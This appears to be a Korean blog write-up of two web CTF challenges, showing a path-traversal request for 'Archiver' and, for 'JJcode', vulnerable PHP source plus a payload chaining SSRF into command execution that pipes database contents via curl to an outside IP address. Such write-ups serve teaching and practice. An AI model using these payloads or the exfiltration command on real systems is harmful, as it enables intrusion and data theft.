Archiver
문제에서 소스코드를 제공해 준다.
코드를 쭉 분석해보면 파일 다운로드 취약점이 터지는 부분이 보인다.
def viewArchive():
url = request.form['url']
T = request.form['T']
hashed = util.hashing(url)
fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')
data = unicode(fd.read())
fd.close()
return render_template('view.html', data=data)
T 파라미터에 ../로 상위 경로 파일을 읽어주면 된다.
url=http%3A%2F%2Fwww.naver.com&T=../../../flag&btn=Save
Flag = TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}
JJcode
문제에 들어가서 페이지 돌아다니다보면 css파일을 다운로드할때 파일 다운로드 취약점이 터진다. 이걸로 전체 소스를 쭉 가져와서 보면 util.php 라는 파일에서 취약점이 보인다.
util.php
<?php
function checkLogin_(){
if(isset($_SESSION["username"])){
return 1;
}else{
return 0;
}
}
function checkLogin(){
if(!checkLogin_()){
die("Plz login");
}
}
function hashing($data){
return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");
}
function render($data){
$data = preg_replace('/</i', '<', $data);
$data = preg_replace('/>/i', '>', $data);
$data = preg_replace('/\"/i', '"', $data);
$data = preg_replace('/javascript/i', '', $data);
$data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);
$data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);
$data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);
$data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);
$data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);
$data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);
$data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);
$data = preg_replace('/\[enter\]/i', '<br>', $data);
$data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);
$data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);
preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);
for($i = 0; $i < count($res[0]); $i++){
$replace = $res[0][$i];
$url = $res[1][$i];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec($curl);
if(curl_error($curl))
$html = '';
curl_close($curl);
$desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;
$title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;
if($title == $url){
preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);
$title = $title[2];
}
$img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $img);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$img_data = base64_encode(curl_exec($curl));
if(curl_error($curl))
$img_data = '';
curl_close($curl);
$tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";
$data = str_replace($replace, $tag,$data);
}
return $data;
}
?>
preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);
for($i = 0; $i < count($res[0]); $i++){
$replace = $res[0][$i];
$url = $res[1][$i];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
이걸로 뭘 할수 있는지 이제 생각해보면 되는데 게싱으로 admin.php 페이지를 발견했고 해당 페이지 코드는 아래와 같았다.
admin.php
<?php
if(in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))){
system($_GET['cmd']);
}
?>
이제 ssrf로 admin.php 페이지를 요청해서 system함수를 사용해주면 된다.
명령어 실행결과를 nc로 받아주면되고 플래그가 DB에 있어서 디비에서 뽑아주면 된다.
Payload
[link]http://127.0.0.1/admin.php?cmd=curl%20http://125.180.217.107:9090%20-d%20%22a=`php%20-r%20%22var_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','jjcode','jjcode1234','jjcode'),'select%20*%20from%20fl4g_here_hahahaha.fl4g_b0x_box')));%22`%22[/link]
Flag = flag{hel1o_fl4g_y0u_g3t_1t~XD}
'CTF > Writeup' 카테고리의 다른 글
Evlz CTF 2019 Smol-Big (0) | 2019.02.20 |
---|---|
Codegate CTF 2019 KingMaker (0) | 2019.02.16 |
Evlz CTF 2019 FindMe (0) | 2019.02.06 |
Evlz CTF 2019 WeTheUsers (0) | 2019.02.04 |
NCSC CTF 2019 Web Wrietup (0) | 2019.02.04 |